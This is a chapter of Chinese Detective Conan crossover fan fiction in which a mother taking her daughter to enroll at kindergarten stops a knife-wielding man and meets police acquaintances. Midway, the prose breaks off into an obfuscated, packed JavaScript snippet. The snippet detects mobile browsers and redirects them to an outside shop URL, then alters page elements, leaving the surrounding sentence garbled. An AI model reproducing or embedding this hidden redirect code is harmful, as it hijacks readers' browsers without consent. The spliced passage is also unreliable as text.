“提前一年上学倒也不是不行,这几天刚好能赶上新学年的报名,不过小绮音你想好要去哪一所学校了吗?” 现在看来,小绮音平时也确实没什么同龄的玩伴啊,看她以往的样子,还以为小绮音会觉得同龄人太幼稚了。 名幸绮音没有犹豫地报出了自己唯一知道,而且是刚才在公园才听到过的一所幼稚园的名字:“帝丹幼稚园!” 旁边的压切长谷部补充道:“公园的那些孩子,好像刚好就是帝丹的学生。” 得到了妈妈的首肯,小绮音懂事地不再打扰名幸琉璃的工作,拉着今天轮到陪她的压切长谷部一起看电视。 名幸琉璃感慨,这孩子应该是交到了新朋友,小孩子果然还是要多和同龄人一起玩啊。 完全没注意到,在她回到书房之后,小绮音看的动画片,里面的主角正和他的助手一起探险。 “幼稚园里应该能找到很多助手吧……”,看到最新的情节中两人一起探险的经历时,名幸绮音不自觉小声嘟囔了这么一句。 名幸绮音,自小就决定长大后要成为像妈妈一样的伟大阴阳师,而在最近沉迷的动画片中,她领悟了要成为伟大阴阳师的第一步。 虽然以她现在的年纪和灵力还没办法自己契约式神,但这并不妨碍她像主角一样,先给自己找个助手(跟班),幼稚园里这么多人,肯定有很多合适的助手(跟班)! 恰巧这时压切长谷部正在厨房里帮她准备些点心,因此没有人听到她的真实想法,为她解释现实中身怀灵力能看到妖怪的人并不多。 —— 决定好要去上幼稚园后,名幸琉璃很快挑了个合适的时间带着小绮音去办理入学。 小团子小小一只,在某些方面却有自己的坚持,比如出门的时候坚持自己走路不要名幸琉璃抱。 索性帝丹幼稚园离他们家也不算太远,等到绮音走累了再把她抱起来也可以。 虽然板着一张小脸,名幸绮音雀跃的步伐依旧可以看出她对接下来的行程十分期待。 直到突然之间,一个男人从前面跑了出来,手里还拿着一把刀往母女俩的方向冲了过来。 后面几个人一边冲这边喊着“小心!”,一边冲了过来,不过因为距离原因,都没能赶上。 名幸琉璃动作迅速地护住绮音往旁边一闪,同时一只脚就地一扫,那个冲过来的男人便便刹往前倒下,最大的伤还是被他自己拿着的刀给捅到了。 随之,后面的警察赶紧用手铐将刚才那个男人给压住了。 恰好来的还是名幸琉璃的熟人:“伊达君,好久不见。” 随着刚才围在前面的几人撤开,前面被害人的尸体也露了出来。 名幸琉璃皱了皱眉,遮住绮音的眼睛,同时微微侧身。 伊达航也意识到了这边,将略显血腥的被害人尸体挡得更加严实了一些:“名幸桑,还有小绮音,你们这是?” “今天约了帝丹幼稚园的行程,打算给绮音办个入学。”名幸琉璃解释道,不过看那边的情况,估计要换一条路了。 将被害人压住,看到这边伊达航正在和名幸琉璃交谈,高木涉好奇地询问:“是伊达大哥认识的人吗?” 伊达航笑着回道:“名幸桑的丈夫和我是警校的同期好友。”说着又摸了摸口袋找出两颗糖果,这是有时候忙上头了用来补充能量的。 “是柠檬味的,绮音要吃吗?” 名幸绮音脆生生地回道:“要吃,谢谢伊达叔叔。” 看在她今天还没有吃过糖果的份上,名幸琉璃没有没收这两颗糖。 而伊达航这么一说,高木涉顿时想起了之前和伊达航一起吃饭的萩原研二和松田阵平,露出豆豆眼:“松田前辈的孩子已经这么大了吗?” 虽然两人看起来萩原前辈会是更早成家的那个,但因为上周萩原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079957|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前辈才组织了他们和交通部的联谊,所以只能将萩原前辈排除掉了。 只是没想到听到他这话,伊达大哥和名幸小姐都露出了奇怪的表情,乖乖窝在母亲怀里的名幸绮音则有些生气地反驳道:“小阵平才不是我爸爸。” 名幸琉璃:“绮音!” “好吧,松田叔叔才不是爸爸。” 伊达航拍了拍高木涉的肩膀:“不是松田或者萩原,是另一个啦,现在好像在北海道那边工作,不过,有时候还真是羡慕诸伏,有个这么可爱的女儿。” 名幸绮音奶声奶气建议道:“伊达叔叔和娜塔莉阿姨生一个妹妹,这样伊达叔叔就有了一个可爱的女儿,我也有一个可爱的妹妹。” 让伊达航露出爽朗的笑容,并暗自打算要不要和娜塔莉商量一下,找个时间见一见家长。 今天碰到的熟人也不止伊达航一个,名幸琉璃转头看向刚才就欲言又止看着这边的少年。 虽然过去几年长高了不少,但对于这个几年前在飞机上有过一面之缘的男孩,她还是挺印象深刻的。 见她看过来,工藤新一下意识躲开视线,然后又意识到自己完全没必要躲,便又看了过去。 他同样也认出了这就是四年前在飞机上遇到的大姐姐。 一直到今天,他还是想不明白当时名幸琉璃是怎么发现那些炸/弹的位置,并且还将炸/弹犯也都抓起来的。 加上当时连对方的名字都不清楚,谜题就这么放了四年还找不到答案,一向好奇心重的工藤新一在刚才一注意到名幸琉璃视线就忍不住往这边瞟。 不仅是这样,因为一直注意着这边,工藤新一自然也听到了伊达航他们几个的对话,不免有些奇怪。 听起来伊达警官和那位诸伏警官关系很好,但在这种前提下为什么提到诸伏警官的工作地点会用好像这样模糊的词。 终于,见名幸小姐和伊达警官似乎说完话了,工藤新一便想开口询问。 不过在开口就得到了这样含糊的语句: “小侦探,秘密可是要自己发觉才会有趣起来。” 虽然工藤新一自己也很享受解谜的过程,但他这不是想了很久都不清楚是怎么回事吗。 老爸老妈那边也是,都直接干脆地说自己也不清楚,一点提示都不给,还说什么有时候世界其实并不完全是科学的这种糊弄话。 可惜名幸琉璃丢下这么一句话后,就跟几位警官表示自己还要忙着带孩子去幼稚园,告辞离开了。 又换了一条去幼稚园的路,和后面认识的大人挥手拜拜后,名幸绮音好奇地问道:“妈妈,侦探和警察的工作是做什么的啊。” 电视上也经常能看到相识xx侦探破获什么什么的内容,至于警察,她知道好几个叔叔都是警察,但还从没看到过他们工作的样子。 只除了今天碰到好像在工作的伊达叔叔,但因为被挡住了,所以还是很迷惑。 “嗯……,调查真相吧。” 因为绮音的年龄还小,名幸琉璃只是这么含糊道。 “侦探和警察都是吗?” “差不多吧,不过要成为警察需要考试,不同的警察负责的工作也不同。” “那考试又是什么?” “……,等绮音你上学了就知道了。” 虽然她和hiro都是属于成绩很好的那一类学生,但考试和作业果然还是学生的一生之敌啊,对于这些的感觉,果然还是要等绮音自己体验了才知道啊。